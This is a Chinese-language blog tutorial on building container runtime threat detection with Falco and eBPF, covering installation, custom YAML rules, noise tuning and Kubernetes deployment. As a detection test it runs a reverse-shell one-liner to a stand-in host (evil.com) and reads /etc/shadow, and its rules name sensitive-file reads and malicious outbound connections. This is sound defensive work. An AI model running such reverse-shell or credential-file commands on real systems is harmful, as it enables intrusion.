eBPF 安全监控实战:用 Falco 构建容器运行时威胁检测系统

2026-05-14 00:10 eBPF 安全监控实战:用 Falco 构建容器运行时威胁检测系统已关闭评论

eBPF 安全监控实战:用 Falco 构建容器运行时威胁检测系统

结论先行:Falco 结合 eBPF 能零侵入地监控容器内所有系统调用,但配置规则和调优才是决定成败的关键。这篇文章记录了我从零搭建到踩坑的全过程,希望能帮你少走弯路。

为什么选 Falco + eBPF?

传统安全方案要么依赖 agent 植入,要么用内核模块,对容器环境的干扰都比较大。Falco 利用 eBPF 在内核态捕获系统调用,用户态的规则引擎再实时告警。我选择它,主要看中这三点:

  • 零修改:不需要改容器镜像,也不用在容器里装额外包
  • 低开销:eBPF 直接在内核运行,CPU 影响通常不到 5%
  • 可编程:规则用 YAML 写,扩展起来很灵活

不过别被这些宣传词骗了——配置不当的话,告警能刷屏到你怀疑人生。

第一步:环境准备

我用的是 Ubuntu 22.04,内核版本 5.15+(必须支持 eBPF)。

# 检查内核
uname -r  # 输出: 5.15.0-91-generic

# 安装依赖
apt-get update && apt-get install -y linux-headers-$(uname -r) curl

注意:如果内核版本低于 4.15,eBPF 就不支持了,要么升级内核,要么改用内核模块驱动。

第二步:安装 Falco(eBPF 驱动)

官方推荐用 Helm 在 K8s 上部署,但本地测试我选择二进制安装,简单直接。

# 添加 Falco 仓库
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc | apt-key add -
echo "deb https://download.falco.org/packages/deb stable main" > /etc/apt/sources.list.d/falcosecurity.list
apt-get update

# 安装 Falco 并启用 eBPF 驱动
apt-get install -y falco

关键配置是修改 /etc/falco/falco.yaml,启用 eBPF。

# 找到 engine: 部分,改成:
engine:
  kind: ebpf
  ebpf:
    # 指定 eBPF 程序路径,自动生成
    probe: ""

踩坑记录:第一次安装后 Falco 启动失败,报 Cannot find eBPF probe。查了半天才发现是内核头文件缺失。

# 安装头文件
apt-get install -y linux-headers-$(uname -r)
# 重新生成 eBPF 探针
falco-driver-loader --source

重启后 systemctl status falco 应该显示 active (running),这才松了一口气。

第三步:默认规则初体验

Falco 自带 100 多条规则,存放在 /etc/falco/rules.d/。启动后,我随手跑了个容器试试水:

docker run --rm -it alpine sh
# 在容器内执行
cat /etc/shadow

主控台立刻弹出告警:

23:45:12.345678901: Warning Sensitive file opened for reading by a non-trusted program (file=/etc/shadow)

问题来了:5 分钟内我收到 200 多条告警——连 apt update 都被拦截了。默认规则实在太激进。

第四步:定制规则,过滤噪音

我创建了自定义规则文件 /etc/falco/rules.d/my_rules.yaml

- list: my_trusted_images
  items: ["alpine:latest", "ubuntu:22.04"]

- rule: My Sensitive File Read
  desc: 检测非信任镜像读取敏感文件
  condition: >
    (open_read or open_write) and
    (fd.name contains "/etc/shadow" or fd.name contains "/etc/passwd") and
    not container.image.repository in (my_trusted_images)
  output: >
    Sensitive file read by %container.image.repository (command=%proc.cmdline)
  priority: WARNING
  tags: [my_custom, file_monitor]

重点
- conditionand 组合,避免误报
- not container.image.repository in (my_trusted_images) 过滤掉白名单镜像
- 优先级设 WARNING,避免 CRITICAL 刷屏

又一个踩坑:规则不生效?检查 falco.yamlrules_file 是否包含新文件:

rules_file:
  - /etc/falco/rules.d/my_rules.yaml
  - /etc/falco/rules.d/falco_rules.yaml  # 保留默认

重启 Falco:systemctl restart falco,这次终于生效了。

第五步:模拟真实攻击

我写了个测试脚本,模拟反弹 shell:

# 在容器内执行
docker run --rm -it ubuntu:22.04 bash -c "bash -i >& /dev/tcp/evil.com/4444 0>&1"

Falco 立刻捕获:

23:50:12.456789012: Critical Outbound network connection to suspicious IP (container=ubuntu:22.04, fd=4, type=SOCK_STREAM, proto=tcp, sip=172.17.0.2, dip=evil.com, port=4444)

默认规则里 Network Connection to Suspicious IP 生效了。但有个问题:evil.com 是虚构域名,DNS 解析失败。实际上我需要监控的是 conn to 1.2.3.4:4444 这种具体 IP。

第六步:调优与扩展

1. 增加 IP 黑名单

- list: malicious_ips
  items: ["1.2.3.4", "5.6.7.8"]

- rule: My Malicious IP Connection
  condition: >
    evt.type=connect and
    fd.sip in (malicious_ips) and
    fd.sport=4444
  output: "Suspicious connection to %fd.sip:%fd.sport"
  priority: CRITICAL

2. 监控容器内文件系统篡改

- rule: Binary Tampering
  condition: >
    open_write and
    fd.name startswith "/usr/bin/" and
    not proc.name in (["dpkg", "apt", "yum"])
  output: "Binary modified: %fd.name by %proc.cmdline"
  priority: WARNING

3. 告警输出到文件(避免终端刷屏)

# /etc/falco/falco.yaml
json_output: true
json_include_output_property: true
outputs:
  file:
    enabled: true
    filename: /var/log/falco_events.json

第七步:集成到生产环境

在 K8s 中,我用 Helm 部署:

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --set driver.kind=ebpf

关键参数
- --set falco.rules_file[0]=/etc/falco/rules.d/my_rules.yaml 挂载自定义规则
- --set falco.json_output=true 输出 JSON 给日志采集器

内存占用:实测 512MB 集群节点上,Falco 占用 80MB RSS,CPU 波动不到 3%,性能表现相当不错。

最终总结

优点 缺点
零侵入,无需改容器 默认规则噪音大,需大量调优
eBPF 性能开销极低 内核版本依赖(>=4.15)
规则灵活可编程 学习曲线陡峭,YAML 条件语法复杂

我的核心经验
1. 永远从白名单开始,不要先黑名单
2. 优先监控 open_writeconnect,这两类最危险
3. 告警优先级分层:CRITICAL 只给确凿攻击,WARNING 给可疑行为
4. 生产环境必须输出 JSON,否则日志系统无法解析

延伸思考

Falco 只是起点。你可以:
- 结合 Prometheus 告警:falco-exporter 把事件转为 metric
- 自动响应:用 falcoctl 触发 Kubernetes Pod 驱逐
- 与 Cilium 联动:eBPF 生态下,Falco 监控 + Cilium 阻断,形成闭环

但别贪多:我见过团队一次部署 500 条规则,结果 90% 是误报,最后关停整个系统。从 10 条核心规则开始,跑一周再逐步增加。安全监控是马拉松,不是百米冲刺。

你可能感兴趣的文章

来源:每日教程每日一例,深入学习实用技术教程,关注公众号TeachCourse
转载请注明出处: https://teachcourse.cn/4140.html ,谢谢支持!

资源分享

浅谈短信服务SMS 浅谈短信服务SMS
抢一张火车票回家过年 抢一张火车票回家过年
python随机方法random python随机方法random
Python常用100个关键字详细示例(2) Python常用100个关键字详细示例

评论已关闭!